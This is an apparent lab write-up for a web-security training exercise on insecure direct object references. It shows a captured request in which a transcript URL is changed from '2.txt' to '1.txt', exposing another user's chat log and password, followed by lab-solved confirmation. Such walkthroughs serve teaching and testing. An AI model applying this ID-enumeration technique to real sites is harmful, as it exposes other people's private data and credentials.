

Insecure direct object references

This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs. Solve the lab by finding the password for the user `carLos`, and logging into their account.

Pass Data Through Proxy and See Whats What

Check out the URL, looks like our chat was "2"

#	Host	Method	URL
164	https://0ad700f8037fe4b5c0bc5...	GET	/download-transcript/4.txt
163	https://0ad700f8037fe4b5c0bc5...	GET	/download-transcript/4.txt
162	https://0ad700f8037fe4b5c0bc5...	POST	/download-transcript
161	https://0ad700f8037fe4b5c0bc5...	GET	/download-transcript/3.txt
160	https://0ad700f8037fe4b5c0bc5...	GET	/download-transcript/3.txt
159	https://0ad700f8037fe4b5c0bc5...	POST	/download-transcript
158	https://0ad700f8037fe4b5c0bc5...	GET	/download-transcript/2.txt
157	https://0ad700f8037fe4b5c0bc5...	GET	/download-transcript/2.txt
156	https://0ad700f8037fe4b5c0bc5...	POST	/download-transcript

Send the Request to Repeater

```
Request
Pretty Raw Hex
1 GET /download-transcript/2.txt HTTP/1.1
2 Host: 0ad700f8037fe4b5c0bc5e4c0042008a.web-security-lab.com
3 Cookie: session=0wmJK0HSaxksvbTDWoPjwOKG9H0P0rIp
4 Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="104"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  Chrome/104.0.5112.102 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Change "2" to "1" and See What comes Up

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Content-Type: text/plain; charset=utf-8
3 Content-Disposition: attachment; filename="1.txt"
4 Connection: close
5 Content-Length: 520
6
7 CONNECTED: -- Now chatting with Hal Pline --
8 You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
9 Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's
  correct or not.
10 You: Wow you're so nice, thanks. I've heard from other people that you can be a right ****
11 Hal Pline: Takes one to know one
12 You: Ok so my password is ynx6yvq8e5thpuno2hqp. Is that right?
13 Hal Pline: Yes it is!
14 You: Ok thanks, bye!
15 Hal Pline: Do one!
```

We have Reached the End For Carlos

Congratulations, you solved the lab!

My Account

Your username is: carlos